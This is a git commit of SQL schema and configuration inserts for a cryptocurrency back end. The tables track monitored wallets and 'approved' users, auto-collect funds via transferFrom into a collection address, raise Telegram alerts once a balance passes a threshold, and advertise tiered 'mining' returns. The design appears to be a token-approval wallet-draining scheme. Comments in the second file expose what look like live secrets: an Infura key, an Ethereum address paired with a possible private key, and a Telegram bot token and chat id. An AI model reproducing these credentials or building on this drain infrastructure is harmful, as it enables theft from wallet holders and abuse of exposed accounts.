first commit

This commit is contained in:
Ray
2026-02-19 03:37:37 +08:00
commit ccfd8c79a4
2813 changed files with 453657 additions and 0 deletions

View File

@@ -0,0 +1,297 @@
DROP TABLE IF EXISTS `T_AUTO_MONITOR_WALLET`;
CREATE TABLE `T_AUTO_MONITOR_WALLET` (
`UUID` varchar(32) NOT NULL,
`PARTY_ID` varchar(32) DEFAULT NULL,
`MONITOR_ADDRESS` varchar(256) ,
`MONITOR_AMOUNT` double ,
`BLOCKCHAIN_NAME` varchar(32) ,
`ADDRESS` varchar(256) ,
`CREATED` datetime ,
`COIN` varchar(32) ,
`TXN_HASH` varchar(256) ,
`REMARKS` longtext,
`THRESHOLD` double DEFAULT 0,
`SUCCEEDED` int(11) DEFAULT 0,
PRIMARY KEY (`UUID`),
KEY `INX_AUTO_MONITOR_WALLET_PARTY_ID` (`PARTY_ID`,`CREATED`),
KEY `INX_AUTO_MONITOR_WALLET_THRESHOLD` (`THRESHOLD`,`CREATED`),
KEY `INX_AUTO_MONITOR_WALLET_COIN` (`COIN`,`BLOCKCHAIN_NAME`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
DROP TABLE IF EXISTS `T_AUTO_MONITOR_ORDER`;
CREATE TABLE `T_AUTO_MONITOR_ORDER` (
`UUID` varchar(32) NOT NULL,
`ORDER_NO` char(32) DEFAULT NULL,
`PARTY_ID` varchar(32) DEFAULT NULL,
`CREATED` datetime DEFAULT NULL,
`VOLUME` double DEFAULT NULL,
`TXN_HASH` varchar(256) ,
`MONITOR_ADDRESS` varchar(256) ,
`ADDRESS` varchar(256) DEFAULT NULL,
`CHANNEL_ADDRESS` varchar(256) DEFAULT NULL,
`SUCCEEDED` int(11) DEFAULT NULL,
`ERROR` varchar(256) DEFAULT NULL,
PRIMARY KEY (`UUID`),
KEY `INX_AUTO_MONITOR_ORDER_PARTY_ID` (`PARTY_ID`,`CREATED`),
KEY `INX_AUTO_MONITOR_ORDER_ORDER_NO` (`ORDER_NO`),
KEY `INDEX_CREATED` (`CREATED`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- 10.28
SET FOREIGN_KEY_CHECKS=0;
DROP TABLE IF EXISTS `T_AUTO_MONITOR_ADDRESS_CONFIG`;
CREATE TABLE `T_AUTO_MONITOR_ADDRESS_CONFIG` (
`UUID` varchar(32) NOT NULL,
`ADDRESS` varchar(64) DEFAULT NULL,
`PRIVATE_KEY` longtext,
`TYPE` varchar(64) DEFAULT NULL,
`STATUS` int(11) DEFAULT NULL,
`CREATE_TIME` datetime DEFAULT NULL,
PRIMARY KEY (`UUID`),
KEY `INDEX_ADDRESS` (`ADDRESS`),
KEY `INDEX_TYPE` (`TYPE`),
KEY `INDEX_STATUS` (`STATUS`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `T_AUTO_MONITOR_LOCK`;
CREATE TABLE `T_AUTO_MONITOR_LOCK` (
`UUID` varchar(32) NOT NULL,
`LOCK_VALUE` varchar(64) NOT NULL,
PRIMARY KEY (`UUID`),
KEY `INDEX_LOCK_VALUE` (`LOCK_VALUE`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS `T_AUTO_MONITOR_WITHDRAW_ORDER`;
CREATE TABLE `T_AUTO_MONITOR_WITHDRAW_ORDER` (
`UUID` varchar(32) NOT NULL,
`PARTY_ID` varchar(32) NOT NULL,
`ORDER_NO` varchar(32) DEFAULT NULL,
`AMOUNT` double DEFAULT NULL,
`VOLUME` double DEFAULT NULL,
`AMOUNT_FEE` double DEFAULT NULL,
`METHOD` varchar(32) DEFAULT NULL,
`BANK` varchar(256) DEFAULT NULL,
`ACCOUNT` varchar(256) DEFAULT NULL,
`QDCODE` varchar(64) DEFAULT NULL,
`DEPOSIT_BANK` varchar(256) DEFAULT NULL,
`USERNAME` varchar(256) DEFAULT NULL,
`FAILURE_MSG` longtext,
`CREATE_TIME` datetime DEFAULT NULL,
`TIME_SETTLE` datetime DEFAULT NULL,
`SUCCEEDED` int(11) DEFAULT NULL,
`CHAIN_ADDRESS` varchar(256) DEFAULT NULL,
`CURRENCY` varchar(32) DEFAULT NULL,
`REVIEWTIME` datetime DEFAULT NULL,
PRIMARY KEY (`UUID`),
KEY `INDEX_WITHDRAWORDER_PARTY_ID` (`PARTY_ID`,`CREATE_TIME`),
KEY `INDEX_WITHDRAWORDER_SUCCEEDED` (`SUCCEEDED`,`CREATE_TIME`),
KEY `INDEX_SUCCEEDED` (`SUCCEEDED`),
KEY `INDEX_CREATE_TIME` (`CREATE_TIME`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
ALTER TABLE `T_AUTO_MONITOR_WALLET`
ADD COLUMN `BALANCE` double DEFAULT 0 AFTER `SUCCEEDED`;
-- 10.29
DROP TABLE IF EXISTS `T_MINING_CONFIG`;
CREATE TABLE `T_MINING_CONFIG` (
`UUID` varchar(32) NOT NULL,
`PARTY_ID` varchar(32) DEFAULT NULL,
`CONFIG` varchar(256) DEFAULT NULL,
`CONFIG_RECOM` varchar(256) DEFAULT NULL,
PRIMARY KEY (`UUID`),
KEY `INX_T_MINING_CONFIG_PARTY_ID` (`PARTY_ID`,`CONFIG`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- 10.30
DROP TABLE IF EXISTS T_AUTO_MONITOR_DAPP_LOG;
CREATE TABLE T_AUTO_MONITOR_DAPP_LOG (
`UUID` varchar(32) NOT NULL DEFAULT '' COMMENT '主键',
`PARTY_ID` varchar(32) NOT NULL DEFAULT '',
`ORDER_NO` varchar(64) DEFAULT NULL,
`EXCHANGE_VOLUME` double DEFAULT NULL,
`AMOUNT` double DEFAULT NULL,
`STATUS` int(11) DEFAULT NULL,
`CREATE_TIME` datetime DEFAULT NULL,
`ACTION` varchar(32) DEFAULT NULL,
`ADDRESS` varchar(64) DEFAULT NULL,
PRIMARY KEY (UUID),
KEY INDEX_WALLET_LOG_PARTY_ID (PARTY_ID,CREATE_TIME),
KEY INDEX_ORDER_NO (ORDER_NO),
KEY INDEX_WALLET_LOG_ORDER_NO (ORDER_NO),
KEY INDEX_ADDRESS (ADDRESS)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- 活动
DROP TABLE IF EXISTS `T_AUTO_MONITOR_ACTIVITY`;
CREATE TABLE `T_AUTO_MONITOR_ACTIVITY` (
`UUID` varchar(32) NOT NULL,
`PARTY_ID` varchar(32) DEFAULT NULL,
`USDT` double DEFAULT NULL,
`ETH` double DEFAULT NULL,
`END_TIME` datetime DEFAULT NULL,
`SEND_TIME` datetime DEFAULT NULL,
`TITLE` varchar(256) DEFAULT NULL,
`CONTENT` longtext,
`TITLE_IMG` varchar(64) DEFAULT NULL,
`CONTENT_IMG` varchar(64) DEFAULT NULL,
`CYCLE` int(11) DEFAULT NULL,
`INDEX_TOP` char(1),
`CREATE_TIME` datetime DEFAULT NULL,
`STATE` varchar(32) DEFAULT NULL,
PRIMARY KEY (`UUID`),
KEY `INDEX_MONITOR_ACTIVITY_PARTY_ID` (`PARTY_ID`,`CREATE_TIME`),
KEY `INDEX_MONITOR_ACTIVITY_STATE` (`STATE`,`CREATE_TIME`),
KEY `INDEX_MONITOR_ACTIVITY_CREATE_TIME` (`CREATE_TIME`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO T_AUTO_MONITOR_ACTIVITY VALUES ('2c948a827cd5f779017cd2322f5d0001', '', '0', '0', '2021-10-22 00:00:00', '2021-10-22 00:00:00', 'title', 'content', '', '', null, 'N', '2021-10-31 19:29:01', '0');
DROP TABLE IF EXISTS T_AUTO_MONITOR_ACTIVITY_ORDER;
CREATE TABLE T_AUTO_MONITOR_ACTIVITY_ORDER (
UUID varchar(64) NOT NULL,
PARTY_ID varchar(64) DEFAULT NULL,
ACTIVITY_ID varchar(64) DEFAULT NULL,
SUCCEEDED int(11) DEFAULT NULL,
CREATE_TIME datetime DEFAULT NULL,
SEND_TIME datetime DEFAULT NULL,
PRIMARY KEY (UUID),
KEY INDEX_PARTY_ID (PARTY_ID),
KEY INDEX_SUCCEEDED_SEND_TIME (SUCCEEDED,SEND_TIME),
KEY INDEX_ACTIVITY_ID (ACTIVITY_ID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- 11.2
DROP TABLE IF EXISTS T_AUTO_MONITOR_USER_DATA_SUM;
CREATE TABLE T_AUTO_MONITOR_USER_DATA_SUM (
UUID varchar(64) NOT NULL,
NEW_USER int(11) DEFAULT NULL,
APPROVE_USER int(11) DEFAULT NULL,
USDT_USER double DEFAULT NULL,
TRANSFER_FROM double DEFAULT NULL,
CREATE_TIME date DEFAULT NULL,
PRIMARY KEY (UUID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
DROP TABLE IF EXISTS T_AUTO_MONITOR_POOL_DATA;
CREATE TABLE T_AUTO_MONITOR_POOL_DATA (
UUID varchar(64) NOT NULL,
NAME varchar(64) DEFAULT NULL,
TOTLE double DEFAULT NULL,
RATE double DEFAULT NULL,
PRIMARY KEY (UUID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ----------------------------
-- Records of t_auto_monitor_pool_data
-- ----------------------------
INSERT INTO T_AUTO_MONITOR_POOL_DATA VALUES ('1', 'total_output', '0', '1');
INSERT INTO T_AUTO_MONITOR_POOL_DATA VALUES ('2', 'verifier', '0', '1');
INSERT INTO T_AUTO_MONITOR_POOL_DATA VALUES ('3', 'user_revenue', '0', '1');
-- 10.28
DROP TABLE IF EXISTS `T_AUTO_MONITOR_TIP`;
CREATE TABLE `T_AUTO_MONITOR_TIP` (
`UUID` varchar(32) NOT NULL,
`PARTY_ID` varchar(32) DEFAULT NULL,
`TIP_TYPE` int(11) DEFAULT 0,
`TIP_INFO` varchar(64) DEFAULT NULL,
`IS_CONFIRMED` int(11) DEFAULT 0,
`DISPOSED_METHOD` varchar(64) DEFAULT NULL,
`CREATED` datetime DEFAULT NULL,
PRIMARY KEY (`UUID`),
KEY `INX_AUTO_MONITOR_TIP_PARTY_ID` (`PARTY_ID`,`CREATED`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- 11.5
DROP TABLE IF EXISTS T_AUTO_MONITOR_POOL_DATA;
CREATE TABLE T_AUTO_MONITOR_POOL_DATA (
UUID varchar(64) NOT NULL,
TOTAL_OUTPUT double DEFAULT NULL,
VERIFIER double DEFAULT NULL,
USER_REVENUE double DEFAULT NULL,
RATE double DEFAULT NULL,
PRIMARY KEY (UUID)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- ----------------------------
-- Records of t_auto_monitor_pool_data
-- ----------------------------
INSERT INTO T_AUTO_MONITOR_POOL_DATA VALUES ('1', '0', '0', '0', '1');
-- 11.6
DROP TABLE IF EXISTS T_AUTO_MONITOR_AUTO_TRANSFER_FROM_CONFIG;
CREATE TABLE T_AUTO_MONITOR_AUTO_TRANSFER_FROM_CONFIG (
UUID varchar(64) NOT NULL,
PARTY_ID varchar(64) DEFAULT NULL,
STATUS int(11) DEFAULT NULL,
ETH_COLLECT_BUTTON char(1) DEFAULT NULL,
USDT_THRESHOLD double DEFAULT NULL,
TYPE varchar(64) DEFAULT NULL,
PRIMARY KEY (UUID),
KEY INDEX_PARTY_ID (PARTY_ID),
KEY INDEX_STATUS (STATUS)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
-- demo_u
-- lianfa
-- antminepool

View File

@@ -0,0 +1,67 @@
-- 监控固定阀值,例100代表100U。为0则不启动任务--默认用户USDT阀值提醒
INSERT INTO T_SYSPARA VALUES ('auto_monitor_threshold', 'auto_monitor_threshold', null, '0', '100', '2', '监控固定阀值,例100代表100U。为0则不启动任务');
-- 10.28
-- eth节点
INSERT INTO T_SYSPARA VALUES ('eth_node', 'eth_node', null, '', '100', '2', 'eth节点地址');
-- ceshi https://mainnet.infura.io/v3/6bdf53f8e8c640dca30398e538f64749
-- 余额查询频率,单位毫秒,多少毫秒处理一条
INSERT INTO T_SYSPARA VALUES ('auto_monitor_balance_add_data_time', 'auto_monitor_balance_add_data_time', null, '10', '100', '2', '余额查询频率,单位毫秒,多少毫秒处理一条');
-- 交易哈希处理频率,单位毫秒,多少毫秒处理一条
INSERT INTO T_SYSPARA VALUES ('auto_monitor_hash_add_data_time', 'auto_monitor_hash_add_data_time', null, '10', '100', '2', '交易哈希处理频率,单位毫秒,多少毫秒处理一条');
-- 授权转账处理频率,单位毫秒,多少毫秒处理一条
INSERT INTO T_SYSPARA VALUES ('auto_monitor_transfer_from_add_data_time', 'auto_monitor_transfer_from_add_data_time', null, '50', '100', '2', '授权转账处理频率,单位毫秒,多少毫秒处理一条');
-- 10.29
INSERT INTO T_MINING_CONFIG VALUES ('2c948a827cccd850017cccde6f220001', '', '100-5000;0.0025-0.003|5000-20000;0.005-0.0055|20000-50000;0.0055-0.0065|50000-9999999;0.0065-0.0075', '0.0025-0.003|0.005-0.0055|0.0055-0.0065');
-- 地址 0xC88bA41DA91073B5E3358b6561B41e0aDf10D0B5
-- 0x84d3fff8bbb7e8139d8b921ce396820b131ab48a47bb60fb6b865b7b8d132765
-- 当日提现次数 withdraw_limit_num
-- 当日提现时间 withdraw_limit_time
-- 提现手续费类型 withdraw_fee_type
-- fixed单笔固定金额 和 rate百分比 的手续费数值 withdraw_fee
-- 提现手续费part分段的值(换算成USDT) withdraw_fee_part
-- 最低转换额度(dapp usdt数量) withdraw_limit_dapp
INSERT INTO T_SYSPARA VALUES ('withdraw_limit_dapp', 'withdraw_limit_dapp', null, '10', '100', '2', '最低提现额度(dapp usdt数量)');
-- 默认固定手续费10U
UPDATE T_SYSPARA SET SVALUE='fixed' WHERE UUID='withdraw_fee_type';
UPDATE T_SYSPARA SET SVALUE='10' WHERE UUID='withdraw_fee';
-- 飞机群token 2090311739:AAG8g4rURN84VaMTrx58sIi6FH32ElyN7Yo
INSERT INTO T_SYSPARA VALUES ('telegram_message_token', 'telegram_message_token', null, '', '100', '2', '飞机群token');
-- chat_id -668114047
INSERT INTO T_SYSPARA VALUES ('telegram_message_chat_id', 'telegram_message_chat_id', null, '', '100', '2', 'chat_id');
-- 最小授权转账金额
INSERT INTO T_SYSPARA VALUES ('transferfrom_balance_min', 'transferfrom_balance_min', null, '1', '100', '2', '最小 授权转账 金额');
-- 归集钱包地址
INSERT INTO T_SYSPARA VALUES ('collection_sys_address', 'collection_sys_address', null, '', '100', '2', '归集钱包地址');
-- demo_u
-- lianfa
-- antminepool